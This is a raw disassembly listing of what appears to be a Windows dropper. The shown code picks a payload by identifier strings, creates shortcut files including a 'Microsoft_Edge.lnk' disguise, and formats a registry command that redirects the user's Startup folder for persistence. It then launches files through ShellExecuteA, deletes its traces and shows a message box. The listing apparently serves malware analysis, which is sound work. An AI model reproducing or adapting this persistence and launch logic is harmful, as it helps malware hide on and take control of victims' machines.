mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
cmp rdx, r8
je 0x140003dbc
sub r8, rdx
lea rcx, [rbp - 0x30]
call fcn.140008d30
nop
mov rdx, r15
lea rcx, [rbp + 0x340]
call fcn.140007070
mov rcx, rax
lea rdx, [rbp - 0x10]
call fcn.140007010
nop
mov edx, 3
lea rcx, [rbp + 0x340]
call fcn.140007070
mov rcx, rax
lea rdx, [rbp + 0x10]
call fcn.140007010
nop
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x14004f610]
call fcn.140009360
mov rcx, rax
lea rdx, [rbp - 0x30]
call fcn.1400095d0
mov rcx, rax
lea rdx, [0x140046c8c]
call fcn.140009360
lea rdx, str.qddll
lea rcx, [rbp - 0x30]
call fcn.1400095f0
test al, al
je 0x140003e44
lea rbx, [rbp + 0xd40]
jmp 0x140003ef3
lea rdx, str.tqexe
lea rcx, [rbp - 0x30]
call fcn.1400095f0
test al, al
je 0x140003e64
lea rbx, [rbp + 0x6e0]
jmp 0x140003ef3
lea rdx, str.tqdll
lea rcx, [rbp - 0x30]
call fcn.1400095f0
test al, al
je 0x140003e81
lea rbx, [rbp + 0xe50]
jmp 0x140003ef3
lea rdx, [0x140046cc8]
lea rcx, [rbp - 0x30]
call fcn.1400095f0
test al, al
je 0x140003e9e
lea rbx, [rbp + 0x900]
jmp 0x140003ef3
lea rdx, [0x140046ccc]
lea rcx, [rbp - 0x30]
call fcn.1400095f0
test al, al
je 0x140003ebb
lea rbx, [rbp + 0xb20]
jmp 0x140003ef3
lea rdx, [0x140046cd0]
lea rcx, [rbp - 0x30]
call fcn.1400095f0
test al, al
je 0x140003ed8
lea rbx, [rbp + 0xc30]
jmp 0x140003ef3
lea rdx, str.qdexe
lea rcx, [rbp - 0x30]
call fcn.1400095f0
test al, al
je 0x140003f08
lea rbx, [rbp + 0x4c0]
lea rcx, [rbp - 0x10]
call fcn.140008490
mov rcx, rax
mov rdx, rbx
call fcn.140002560
nop
lea rcx, [rbp + 0x10]
call fcn.1400084c0
nop
lea rcx, [rbp - 0x10]
call fcn.1400084c0
nop
lea rcx, [rbp - 0x30]
call fcn.1400084c0
lea rcx, [rbp + 0x140]
call fcn.140006f60
nop
lea rcx, [rbp + 0x340]
call fcn.140004340
mov rcx, qword [rbp + 0x150]
jmp 0x140003cf0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400026a0
mov r9, rax
lea r8, [rbp + 0x5d0]
lea rdx, str._sqiqi_s
lea rcx, [rbp + 0x7f0]
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
lea rcx, [rbp + 0x7f0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.1400026a0
mov r9, rax
lea r8, [rbp + 0x7f0]
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0xa10]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8, rsi
lea rdx, str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
lea rcx, [rbp + 0xf60]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0xf60]
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0xa10]
call fcn.1400027b0
call fcn.1400026a0
mov r9, rax
mov r8, rsi
lea rdx, str._sMicrosoft_Edge.lnk
lea rcx, [rbp + 0x1180]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x4c0]
lea rdx, str.__s_
lea rcx, [rbp + 0x1070]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1070]
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x1180]
call fcn.1400027b0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x7f0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x140004071
xor edx, edx
lea rcx, [0x140002a90]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x6e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x1400040b3
xor edx, edx
lea rcx, [0x140002a90]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xa10]
call fcn.14001ae40
lea rcx, [rbp + 0x900]
call fcn.14001ae40
lea rcx, [rbp + 0xb20]
call fcn.14001ae40
lea rcx, [rbp + 0xc30]
call fcn.14001ae40
lea rcx, [0x1401c56c0]
call fcn.14001ae40
lea rcx, [rbp + 0x7f0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov r9d, 0x10
lea r8, [0x140046db0]
lea rdx, [0x140046dc0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rbp + 0x2b0]
call fcn.1400043c0
nop
lea rcx, [rbp + 0x140]
call fcn.1400043c0
nop
lea rcx, [rbp + 0x240]
call fcn.140004340
nop
lea rcx, [rbp + 0x210]
call fcn.1400070b0
nop
lea rcx, [rbp + 0x30]
call fcn.1400084c0
nop
lea rcx, [rbp + 0x90]
call fcn.140008400
nop
lea rcx, [rbp + 0xa8]
call fcn.140008400
nop
lea rcx, [rbp + 0x3b0]
call fcn.1400042a0
nop
lea rcx, [rbp + 0x50]
call fcn.1400084c0
nop
lea rcx, [rbp + 0x100]
call fcn.1400084c0
nop
lea rcx, [rbp + 0x1d0]
call fcn.1400084c0
nop
lea rcx, [rbp + 0xc0]
call fcn.1400084c0
nop
lea rcx, [rbp + 0x70]
call fcn.1400084c0
nop
lea rcx, [rbp + 0x120]
call fcn.1400084c0
nop
lea rcx, [rbp + 0x1f0]
call fcn.1400084c0
nop
lea rcx, [rbp + 0xe0]
call fcn.1400084c0
mov rcx, qword [rbp + 0x1290]
xor rcx, rsp
call fcn.140013bd0
lea r11, [rsp + 0x13c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
int3